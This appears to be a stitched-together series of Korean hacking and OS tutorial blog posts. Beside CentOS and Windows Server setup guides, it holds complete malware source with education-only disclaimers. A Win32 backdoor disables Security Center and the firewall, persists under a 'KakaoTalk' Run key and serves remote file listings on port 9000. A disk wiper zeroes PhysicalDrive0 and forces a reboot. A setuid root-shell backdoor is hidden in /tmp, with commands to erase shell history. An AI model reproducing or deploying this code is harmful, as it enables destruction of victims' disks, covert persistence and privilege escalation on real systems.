test.txt 라는 파일이 있다면 내용을 읽어와서 출력을 하고 

만약 없다면 종료시키는 프로그램의 코드이다.





디버깅 한 곳에 먼저 test.txt 파일을 생성해놓자.

안에 내용도 적절히 써준다.






프로그램을 실행하면 test.txt 파일을 찾아서 안에 내용을 출력하여준다.




'운영체제<구축,해킹,보안> > WIN32' 카테고리의 다른 글

[WIN32]백도어 프로그램 실습  (0) 2018.05.29

*악성코드의 원리와 이해를 돕기위해 교육목적으로 작성된 포스팅입니다.

 꼭 자신의 교육 환경에서 사용하시길 바랍니다. 

 후에 발생한 사고는 저의 책임이 아닙니다.







솔루션 (오른쪽클릭)-속성 -일반-문자집합을 사용안함으로 설정해야 에러가 나오지 않음.




//server ,서버는 win32 콘솔 프로젝트 말고 나머지 1개로 설정..(기억이 잘안남)

#include<winsock2.h> // windows.h 포함


#pragma comment(lib,"ws2_32.lib")


void RegisterStartProgram() {

   HKEY hKey;

   char cur_path[255];

   DWORD dwDisp, dwSize;

   if( RegCreateKeyEx(HKEY_LOCAL_MACHINE, //시작프로그램 등록하기 위해서 run 키 열기

     "Software\\Microsoft\\Windows\\CurrentVersion\\run",

      0, NULL,REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS,

      NULL, &hKey, &dwDisp) != ERROR_SUCCESS)  {

      RegCloseKey(hKey);

      //return false;

   }

     

   GetModuleFileName(NULL, cur_path, MAX_PATH);//자신의 파일명 알아오기

   dwSize = strlen(cur_path);


   if( RegSetValueEx (hKey, "KakaoTalk", 0, REG_SZ, 

       (LPBYTE)cur_path, dwSize ) != ERROR_SUCCESS)  {

      RegCloseKey(hKey);

      //return false;

   }

   RegCloseKey(hKey);

   RegFlushKey(hKey);

}


void bomb(){

      SYSTEMTIME systime1;

   while(1){

      GetSystemTime(&systime1);

      if(systime1.wYear == 2018 && systime1.wMonth == 8 && systime1.wDay == 2){

         WinExec("calc.exe", MB_OK);

      }

      Sleep(5000);

   }

}


void AttackCommandRun(SOCKET *sock1){

   int retval=0;

   char buf[MAX_PATH];

   char *cmd1, *arg1;

   char file_list[1024]="\0";

   HANDLE hFile;

   SOCKET sock2= *sock1;

   while(1) {

     retval = recv(sock2, buf, sizeof(buf), 0);

     int ret = WSAGetLastError();

     buf[retval]='\0';     

     

     cmd1=strtok(buf," ");

     arg1=strtok(NULL," ");

     if(lstrcmp(cmd1,"dir") == 0){

         lstrcat(arg1, "\\*");     

         WIN32_FIND_DATA file_info;        

         hFile=FindFirstFile(arg1,&file_info);

         wsprintf(file_list,"%s\n%s",file_list, file_info.cFileName);

         while (FindNextFile(hFile,&file_info) !=0 ) {

            wsprintf(file_list,"%s\n%s\n",file_list, file_info.cFileName);

         }   

         retval = send(sock2, file_list, strlen(file_list), 0);

   

     }

   }

}


int WINAPI WinMain(HINSTANCE hInstance, 

  HINSTANCE hPrevInstance, LPSTR lpCmdLine, 

  int nShowCmd )

{

   WinExec("sc stop wscsvc", SW_HIDE); //보안센터 서비스 끄기

   Sleep(3000); //서비스 꺼질떄까지 잠시 대기

   ShellExecute(NULL, "open", "netsh", "firewall set opmode disable",NULL, SW_HIDE); //방화벽 끄기

   Sleep(3000); //방화벽 꺼질 때까지 잠시 대기


   RegisterStartProgram(); //시작프로그램 등록하기

   

   HANDLE hThread1;

   hThread1=CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)bomb, NULL, 0, NULL);

   //WaitForSingleObject(hThread1,INFINITE);


   int retval;

   WSADATA wsa; 

   if (WSAStartup(MAKEWORD(2,2), &wsa) != 0) // ws2_32.dll 초기화

      return -1;

   SOCKET tcp_sock = socket(AF_INET, SOCK_STREAM, 0);

   SOCKADDR_IN serveraddr; 

   ZeroMemory(&serveraddr, sizeof(serveraddr));

   serveraddr.sin_family = AF_INET;

   serveraddr.sin_port = htons(9000);

   serveraddr.sin_addr.s_addr = htonl(INADDR_ANY);

   retval = bind(tcp_sock, (SOCKADDR *)&serveraddr, sizeof(serveraddr));

   retval = listen(tcp_sock, SOMAXCONN);

  

   SOCKET client_sock;

   SOCKADDR_IN clientaddr;

   int addrlen;

   char buf[10];

   HANDLE hThread2;


   while(1){

      addrlen = sizeof(clientaddr);

      client_sock = accept(tcp_sock, (SOCKADDR *)&clientaddr, &addrlen);

      hThread2=CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)AttackCommandRun, 

                          &client_sock,0,NULL);

   }


   return 0;

}







//tool.cpp ,툴은 WIN32콘솔 프로젝트-빈프로젝트로 제작

#include<winsock2.h>

#include<stdlib.h>

#include<stdio.h>

#pragma comment(lib,"ws2_32.lib")


int main(void) {

 int retval;

 char totcmd[MAX_PATH], cmd1[10], arg1[MAX_PATH], buf2[1024];

 char backdoor_ip[16];

 printf("Input Backdoor IP: ");

 scanf("%s", backdoor_ip);


 WSADATA wsa;

 if (WSAStartup(MAKEWORD(2,2), &wsa) != 0) return -1;

 SOCKET tcp_sock = socket(AF_INET, SOCK_STREAM, 0);

 SOCKADDR_IN servaddr;

 ZeroMemory(&servaddr, sizeof(servaddr));

 servaddr.sin_family = AF_INET;

 servaddr.sin_port = htons(9000);

 servaddr.sin_addr.s_addr = inet_addr(backdoor_ip);

 retval = connect(tcp_sock, (SOCKADDR *)&servaddr, sizeof(servaddr));

 while(1){

    printf("Input Command: ");

    scanf("%s %s", cmd1, arg1);

    if(lstrcmp(cmd1, "dir")==0){      

       wsprintf(totcmd, "%s %s", cmd1, arg1);

      retval = send(tcp_sock, totcmd, strlen(totcmd), 0); //명령어 전송

      retval = recv(tcp_sock, buf2, sizeof(buf2), 0);   

      buf2[retval]='\0';

      printf("File List: %s \n", buf2);

    }

    

 }

 

 return 0;

}



둘다 디버깅을 하고 back_srv를 먼저 켜준다.





작업관리자에 back_srv2.exe가 올라온것을 확인한다.





그다음 tool을 사용한다. back_srv가 실행된 곳의 ip를 입력한다.

지금은 혼자 서버열고 혼자 툴을 킨 상태이므로 자신의 ip를 입력한다.






ip를 입력하여 커맨드를 입력한다

dir c:\\windows 는 windows 디렉토리에 있는 모든 파일을 보여달라는 명령어다.






모든 dir이 표시된다. 이런 방식으로 명령어를 입력하여 정보를 빼올 수 있다.


https://www.microsoft.com/ko-kr/evalcenter/evaluate-windows-server-2012-r2



이곳에서 180일짜리 평가판을 다운로드 할 수 있다.


1.서버코어 (GUI가 포함되지 않는 서버)

2.GUI포함 서버








비밀번호 설정하고 쓰면된다.

윈도우는 딱히 설치가 어렵지 않아 여기서 포스팅을 마친다.


http://blog.naver.com/PostView.nhn?blogId=drparksc&logNo=220543707811&parentCategoryNo=&categoryNo=&viewDate=&isShowPopularPosts=false&from=postView


-한글로 변경하는 방법입니다.




*이 포스팅은 해킹 기법에 대한 이해와 분석을 목적으로 만들어 졌으며, 

이를 악용할 시 발생하는 책임에는 관계가 없습니다.



예전에 하드디스크를 공격하여 하드디스크를 파괴하는 공격이 자주 일어났었다. 컴퓨터를 키면 window가 부팅이 되지 않고, 부팅할 하드가 없다는 명령어와 함께 컴퓨터의 하드를 싹 날리는 공격이였다.

어떻게 이런 공격이 가능한 것일까. 

일단 HDD가 어떤식으로 내용이 저장되는 지에 대해 확인하기 위해 HxD 라는 프로그램을 다운받아보자.






구글에서 검색하면 쉽게 다운로드 받을 수 있다. 





한국 국기가 있는곳에 Download per HTTP 를 눌러서 다운받자.





다운받고 설치를 하면 관리자 권한으로 실행을 눌러주자. 

관리자 권한으로 실행하지 않으면 안에 내용을 제대로 볼 수 가 없다.









글쓴이는 VM으로 여러 가지를 연습하기위해 하드를 여러개 달아논 상태이다.

하드 디스크 1로 들어가서 읽기전용으로 열기를 해제하고 안을 봐보자.





안에 내용을 보면 모두 16진수로 입력이 되어있는 것을 확인 할 수 있다. 하드디스크 첫번째에 첫번째 섹터에는 보통 OS에 대한 기록이 있으며 1섹터 마지막 쯤에는 파티션테이블이 기록되어 있다. (후에 실습내용)


이렇게 본다면 이제 하드디스크를 날리는 악성코드를 만들기위해서는 하드에있는 모든 내용을 0으로 초기화 시키면 된다는 것을 알았다.

 



Visual Studio C++을 다운받아 다음과 같은 코드를 짜보자.


#include <stdio.h>

#include <windows.h>


char trash[512];

int i=0,ret;

DWORD dwWrite;


int main() {

 ZeroMemory(trash,sizeof(trash));

 HANDLE hDevice = CreateFile(

    "\\\\.\\PhysicalDrive0", // OS는 보통 0번 HDD에 설치되어 있음

    GENERIC_WRITE, FILE_SHARE_READ|FILE_SHARE_WRITE, 

    NULL, OPEN_EXISTING, 0, NULL);


 for(i=1 ; i<=5000 ; i++) {

  ret=WriteFile(hDevice, trash, sizeof(trash) , &dwWrite, NULL);  

 } //0으로 초기화 시킨다


 if (ret == ERROR_SUCCESS) {

   MessageBox(NULL, "Destroy Disc Success!!!", "you cleared", MB_OK);

   WinExec("shutdown -r -t 0", MB_OK);

 } //파일을 실행시킬때 다음과 같은 문구가 뜨고 강제로 부팅


 return 0;

}




위에 코드를 빌드하기 전에 하드디스크가 날아갈 것을 대비하여 스냅샷을 찍어주도록 하자.

하드를 날린다음 저장한 스냅샷으로 다시 복원시키기 위함이다.





코드를 빌드하고 실행을 하면 다음과 같은 문구가 뜬다. 확인을 누르면 재부팅이 되는걸 알기 때문에, 

확인을 누르지않고 다시 HxD를 들어가서 나의 하드의 상태를 확인해보자.





아까 이것 저것 적혀있던 나의 하드가 모두 0으로 초기화 된 것을 알 수 있다. 

이 내용은 이제 다음 부팅때부터 읽어오므로 지금에는 아무런 증상을 느낄 수 없다.

이제 확인을 눌러서 재부팅을 해보자.





부트테이블을 찾을 수 없다는 문구와 함께, 하드가 날아간 것을 볼 수 있다.

간단한 악성코드 하나로 하드를 날려보았다. 이제 스냅샷 찍은것으로 다시 되돌리도록 하자.



만약 root가 작업을 하는 도중에 하이재킹에 당하거나, 관리자가 눈앞에서 자리를 비웠을 때,

내가 만약 서버의 일반 사용자라면, 관리자의 부재나 하이재킹으로 나의 권한을 루트로 바꾸는 방법이 있다.


해킹을 해서 root의 권한에 들어왔다고 가정하자, 또는 관리자가 로그인한 상태에서 자리를 비웠다고 하자.




vi giveme.c

다음과 같은 c 프로그램을 작성한다.

#include <stdio.h>

void main()

{

setuid(0);

system("/bin/bash");

}


그리고 esc를 한번 눌러주고 :wq! 하고 나가자.





gcc -o tmp11.dat giveme.c -> giveme.c 파일을 tmp11.dat로 컴파일 해준다.

만약 컴파일이 안된다면 yum install gcc 로 다운하도록 하자.

chmod u+s tmp11.dat ->사용하는동안 소유주(root)의 권한으로 실행되도록 한다.

mv tmp11.dat /tmp/ -> tmp11.dat을 /tmp (임시저장폴더)에 몰래 숨겨놓는다.

rm -f giveme.c -> giveme.c 파일을 지운다.

rm -f /root/.bash_history ->내가 명령어를 입력한 흔적(history)를 지운다.

history -c ->history의 흔적을 지운다(2).











이제 미리 만들어진 hacker 일반인 계정으로 접속해보자.

alt+f2를 누르면 새로운 터미널이 열린다.

만약 user를 추가하지 않았다면 root계정에서 useradd hacker 를 한후

passwd hacker를 하여 hacker 유저의 비밀번호를 설정하여 주자.


hacker로 접속을 했으면 앞에 '$' 표시에 집중하자. 이 표시는 일반 사용자라는 표시이다.





여기서 아까 숨겨진 tmp폴더로 들어가 ./tmp11.dat 을 하여 숨겨진 파일을 실행해보자,.

cd /tmp -> /tmp 폴더로 이동한다

ls -> 현재 디렉토리의 파일 확인

./tmp11.dat ->tmp11.dat을 실행한다.


그러면 '#'으로 바뀌어서 root의 권한을 획득한다.

이 상태로 vi /etc/shadow 도 열어볼 수 있다. root의 권한을 가져온 것이다.



alias는 별명같은 것이다. 네트워크를 설정할 때

vi /etc/sysconfig/network-scripts/ifcfg-eth0 이라는 명령어를 사용해야 한다.

하지만 이것을 매번 쓰기에는 너무나 귀찮다. 이런 명령어들 때문에 alias가 존재한다.




alias netconf = "vi /etc/sysconfig/network-scripts/ifcfg-eth0" 을 입력하면

netconf 라는 명령어만 써도 자동으로 따옴표 안에 있는 명령어가 실행이 된다.

자신이 무슨 별명을 설정했는지 궁금하면 그냥 alias 를 쳐보면 나온다.





그래서 우리는 별명이 지정된 네트워크 설정에 들어가보면 다음과 같이 나타나있다. 

실제로 외부에 연결이 되게 설정하여 보자. 

다음과같이 기본설정에서 ONBOOT=YES만 바꿔주면 된다.

IP랑 게이트웨이 서브넷마스크 이런거 써줄 필요가 없다.










그다음에 머신-설정-네트워크에 들어가면 

다음으로 연결됨 부분에 NAT로 바꿔준다. NAT는 주소를 변환해주는 역할이다.





그다음 명령어에 service network restart를 입력해주고 조금 기다려서 완료가 되면

8.8.8.8에 ping을 보내주자.

정상적으로 연결이 되었다면 핑이 갈 것이다.



VM을 쓰다보면 여러 가지 상황이 발생한다. 완전하지도 않은 프로그램에 VM프로그램의 잦은 오류와 

렉같이 자질구래 한 것들이 많다. 일단 그 중에 하나인 사용자가 root비밀번호를 잃어버렸을 때, 

재설정 하는 방법에 대해 알아보자.




일단 부팅을 하자마자 2초안에 아무 버튼이나 누르면 이런 화면이 나타난다.

여기서 CentOS를 선택한 상황에서 e를 눌러주자





그러면 다음과 같은 창이 나온다. kernel 부분으로 가서 e를 눌러주자.





e를 누르고 들어가면 다음과 같이 나타나게 되는데 <M rhgb quiet 뒷부분에

single 이라고 적어준다. 그리고 엔터를 눌러서 밖으로 빠져 나오자.





그런다음에 b버튼을 누르면 부팅을 시작한다. 이러면 window에서는 비슷하게 안전모드로 들어가게 된다.










이렇게 들어오게 되면 다음과 같은 창이 뜨고 root와 비밀번호를 물어보지 않는 상태로 바로 

root에 접속할 수 있다. 앞에 프롬프트가 #인것을 보면 알 수 있다.

여기서 이제 vi /etc/shadow로 들어가자.





들어가면 다음과 같이 태그가 나타나는데 맨위에 root의 비밀번호가 암호화 된 것을 알 수 있다.

첫번째 :에서 다음 :가 나올때까지 x를 눌러서 한글자씩다 지워주자.

그다음에 :wq! 를 입력하여 편집을 빠져 나온다.


모두 완료되면 명령어창에 init 6를 눌러 재부팅을 하자.





그럼 다음과같이 id에 root만 입력하면 바로 접속이 가능하게 된다. 

실제로 이 상태는 굉장히 보안에 취약한 상태이므로 새로운 비밀번호를 설정해주자.





명령어에 passwd를 누르면 새로운 비밀번호를 설정할 수 있다.

새로운 비밀번호를 설정하자.


이렇게 root계정의 비밀번호를 잃어버렸을 때, 새로 비밀번호를 설정하는 방법에 대해 알아보았다.


운영체제에 관한 포스팅을 하기전에 필자는 CentOS 6.5버젼을 깔 예정이다. 

Virtual Box로 깔을 것이며, 서버버전 1개 , GUI버전으로 1개 깔 것이다.

http://mirror.nsc.liu.se/centos-store/6.5/isos/x86_64/ 

이곳에 들어가면 다운로드가 가능하다.





사진에 표시된 것을 클릭하여 다운로드를 받자. 서버의 상태에 따라 약 1시간부터 3시간까지 걸릴 수 도 있다.





ISO 이미지를 다 받았다면 Virtual Box로 가서 이름에 CentOS만 적어줘도 자동으로 종류와 버전을 잡아준다.

CentOS는 예전에 Red Hat 회사의 횡포에 빅엿을 날리기위해 그대로 똑같이 만들고 무료로 배포했다는

이야기가 있다.

종류는 Linux로 버전은 솔직히 상관없이 64bit면 된다.





약 메모리를 2기가정도 줘야 문제없이 돌아가는 것 같다. 

어차피 공격자 수비자로 해봤자 VM을 최대 3개정도밖에 키지 않으므로 2048정도 주도록 하자.





하드디스크를 만드려고 하는데 사진에 표시된 것과 같이 체크하고 넘어가자





VDI를 체크하고 다음으로 넘어가자.





하드디스크를 80GB정도 주도록 하자. 너무 많은거라 생각할 수 도 있지만 동적할당이라서 쓰는 만큼 쓰고 최대 80GB 까지 쓰게 하는거라 상관없다. 어차피 VM에 설치하는거는 별로 없어서 용량을 별로 먹지 않으니 

걱정하지 말자.





그리고 확인을 누르고 CentOS의 설정에 들어가보도록 하자.

사진에서 저장소를 클릭하고 CD이미지를 넣는곳에 오른쪽에 CD모양을 눌러서 추가해주자.





시디를 추가하고 시작버튼을 누르면 정상적이게 부팅이 될 것이다. 





일단 서버는 캐릭터기반으로 글자만 나타나게 설치할 것입니다.

GUI로 하면 너무 무거워지기 때문에 대부분의 서버는 CUI 기반으로 설치합니다.

사진에서 보듯이 두번째 메뉴를 클릭합니다.











그다음에 나오는 화면입니다. CD가 손상되었는지에 검사하는 것인데 SKIP을 눌러줍시다.





그러면 다음과 같은 화면이 뜨고 오른쪽 아래에 NEXT 버튼을 눌러줍시다.





화면같이 우리는 SSD에 다운할 것이 아니기 때문에 BSD를 클릭하고 NEXT 합시다.





하드디스크에 파티션과 파일시스템이 탐지가 되지않아서 뜨는 문구입니다. 

그냥 다날려버리고 시작합시다. Yes,disacrd any data 누릅시다.





호스트네임 적어줍시다. 그냥 저는 CentOS라고 했습니다.





시계 하는건데 그냥 서울 눌러줍시다. 어차피 시작하자마자 동기화 해주어야 합니다.





루트 비밀번호를 설정해 주는 것인데 6자리가 최소라서 그냥 123456 합시다.

어차피 들어가서 바꾸는 방법도 있습니다. 

그럼 6자리가 너무 약하다고 경고문이 뜨는데 Use Anyway를 눌러 가볍게 무시해줍시다.





사진과 같이 체크하고 Next 합시다.





여기서 GUI기반으로 설치라혀면 Desktop을 눌러 설치하면 되고, 서버기반으로 하시려면

Basic SERVER를 눌러서 설치합시다. 그리고 아래에

Add additional software repositories 를 눌르면 여러 가지 소프트웨어를 추가로 다운받을 수 있습니다.

NEXT 버튼 누릅시다.





설치중인 모습입니다. 설치가 완료되면 아래와 같이 나타납니다.





오른쪽 아래에 Reboot을 눌러 재부팅하면 아래와 같은 사진이 나타나고 설치가 완료됩니다.






캐릭터 기반이기때문에 여러분들이 아는 DOS창이 나타납니다. 

처음에 login ID를 입력해야 하는데 root를 입력하고

password는 아까 지정한 것을 치고 엔터를 누르면 정상적이게 접속이 가능합니다.



+ Recent posts